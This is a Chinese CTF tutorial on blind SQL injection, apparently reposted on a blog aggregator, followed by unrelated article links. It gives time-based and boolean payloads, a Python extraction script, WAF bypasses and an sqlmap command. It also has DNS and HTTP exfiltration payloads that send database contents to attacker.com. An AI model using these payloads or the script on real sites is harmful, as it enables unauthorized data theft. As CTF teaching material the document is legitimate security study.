【SQLI】CTF 无回显SQL盲注解题方法

news/2025/2/27 12:56:27

CTF 无回显SQL盲注解题方法

  • 1. 确认注入点与数据库类型
  • 2. 构造条件判断提取数据
  • 3. 自动化利用脚本
  • 4. 外带数据(OOB Exfiltration)
  • 5. 绕过过滤与WAF
  • 6. 关键数据提取路径
  • 7. 工具推荐
  • 总结

在CTF中解决无任何回显的SQL注入题目,通常需要依赖盲注技术或外带数据(OOB)。以下是分步解决方案:


1. 确认注入点与数据库类型

  • 时间盲注探测
    通过注入时间延迟函数,判断是否存在漏洞及数据库类型:
    sql">' AND SLEEP(5)--       -- MySQL
    ' || pg_sleep(5)--     -- PostgreSQL
    '; WAITFOR DELAY '0:0:5'-- -- SQL Server
    
    • 若响应延迟,则确认注入点及数据库类型。

2. 构造条件判断提取数据

  • 布尔盲注(无回显但可推断真假)
    若页面有细微变化(如状态码、响应长度),通过布尔条件判断数据:

    sql">' AND (SELECT SUBSTRING(database(),1,1))='a'-- 
    
    • 若条件为真,页面可能正常加载;否则返回错误或空白。
  • 时间盲注(完全无回显)
    通过时间延迟条件逐字符提取数据:

    sql">' AND IF(ASCII(SUBSTRING((SELECT database()),1,1))>100, SLEEP(5), 0)-- 
    
    • 若响应延迟,则字符ASCII码大于100。

3. 自动化利用脚本

  • Python脚本示例(时间盲注)
    使用二分法优化字符猜测过程:
    import requests
    import time
    
    url = "http://target.com/page?id=1"
    chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
    
    def extract_data(query):
        result = ""
        index = 1
        while True:
            low, high = 0, 127
            found = False
            while low <= high:
                mid = (low + high) // 2
                payload = f"' AND IF(ASCII(SUBSTRING(({query}),{index},1))>{mid}, SLEEP(5), 0)-- "
                start = time.time()
                requests.get(url + payload)
                delay = time.time() - start
                if delay > 5:
                    low = mid + 1
                else:
                    high = mid - 1
            char = chr(low)
            if char == '\x00':
                break
            result += char
            index += 1
            print(f"Current result: {result}")
        return result
    
    # 提取数据库
    database = extract_data("SELECT database()")
    print(f"Database: {database}")
    

4. 外带数据(OOB Exfiltration)

  • DNS外带(需数据库支持网络请求)
    将数据编码到DNS查询中,通过子域名记录获取:

    sql">' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.attacker.com\\test'))-- 
    
    • 监控DNS日志(如使用dig或在线服务),查看子域名请求。
  • HTTP请求外带
    利用数据库函数发起HTTP请求(如MySQL的http_get):

    sql">' UNION SELECT http_get(CONCAT('http://attacker.com/?data=', (SELECT database()))-- 
    

5. 绕过过滤与WAF

  • 编码绕过
    使用Hex、Base64或URL编码:

    sql">' AND 1=IF(ASCII(SUBSTRING(database(),1,1))=0x61, SLEEP(5), 0)-- 
    
  • 字符串拼接与注释
    利用注释符或拆分关键词:

    sql">' AN//D SLEEP(5)-- 
    ' || (CASE WHEN (SELECT 'a'='a') THEN pg_sleep(5) ELSE 0 END)--
    

6. 关键数据提取路径

  1. 数据库名:SELECT database()
  2. 表名:
    sql">SELECT table_name FROM information_schema.tables WHERE table_schema=database()
    
  3. 列名:
    sql">SELECT column_name FROM information_schema.columns WHERE table_name='users'
    
  4. 数据内容:
    sql">SELECT username, password FROM users
    

7. 工具推荐

  • sqlmap:使用--time-sec参数自动化时间盲注:
    sqlmap -u "http://target.com/page?id=1" --technique=T --time-sec=5 --dbs
    

总结

无回显注入的核心是通过条件触发延迟或外带通道获取数据。优先尝试时间盲注,若环境允许则结合OOB技术提升效率。编写自动化脚本并合理优化判断逻辑(如二分法)是关键。


http://www.niftyadmin.cn/n/5868701.html

相关文章

【C# 变量字符串还原转义字符】

在 C# 中&#xff0c;如果字符串中包含转义字符&#xff08;如 \n、\t、\x001E 等&#xff09;&#xff0c;并且你希望将这些转义字符还原为它们实际表示的字符或字符串&#xff0c;可以使用以下方法&#xff1a; 1. 使用 Regex.Unescape 方法 Regex.Unescape 方法可以将字符串…

如何正确选择百度蜘蛛池服务

Tbaidutopseo 在竞争激烈的互联网环境中&#xff0c;网站若想获得更多流量和曝光&#xff0c;提升在搜索引擎中的排名至关重要。百度蜘蛛池服务作为一种能够帮助网站吸引百度蜘蛛抓取&#xff0c;进而提高网站收录量和排名的工具&#xff0c;受到众多网站所有者的关注。然而&a…

千峰React:函数组件使用(3)

多组态进行正确记忆 首先看这个代码 import { useState } from reactfunction App() {const [count, setCount] useState(0)const [count2, setCount2] useState(0)const [count3, setCount3] useState(0)const handleClick () > {setCount(count 1)}return (<div&…

(0)阿里云大模型ACP-考试回忆

这两天通过了阿里云大模型ACP考试&#xff0c;由于之前在网上没有找到真题&#xff0c;导致第一次考试没有过&#xff0c;后面又重新学习了一遍文档才顺利通过考试&#xff0c;这两次考试内容感觉考试题目90%内容是覆盖的&#xff0c;后面准备分享一下每一章的考题&#xff0c;…

贪心算法:JAVA从理论到实践的探索

在计算机科学领域,贪心算法是一种简单而高效的算法设计策略,广泛应用于优化问题的求解。它通过在每一步选择中都采取当前状态下最优的选择,以期望最终得到全局最优解。本文将深入探讨贪心算法的原理、应用场景,并通过具体代码示例,帮助读者更好地理解和掌握这一算法。 一…

深度剖析Seata源码:解锁分布式事务处理的核心逻辑

文章目录 写在文章开头如何使用源码(配置转掉)基于AT模式详解Seata全链路流程Seata服务端启动本地服务如何基于GlobalTransaction注解开启事务客户端如何开启分布式事务RM和TC如何协调处理分支事务RM生成回滚日志事务全局提交与回滚小结参考写在文章开头 在当今分布式系统日益…

已经有私钥的情况下,mac如何配置私钥

在 macOS 上配置现有的私钥&#xff0c;通常是为了能够使用 SSH 无密码登录远程服务器。以下是一步步的配置过程&#xff1a; 1. 将私钥文件添加到 ~/.ssh/ 目录 如果你的私钥文件&#xff08;例如 id_rsa 或其他&#xff09;不在 ~/.ssh/ 目录下&#xff0c;首先需要将私钥文…

FFmpeg视频处理入门级教程

一、FFmpeg常规处理流程 #mermaid-svg-W8X1llNEyuYptV3I {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-W8X1llNEyuYptV3I .error-icon{fill:#552222;}#mermaid-svg-W8X1llNEyuYptV3I .error-text{fill:#552222;str…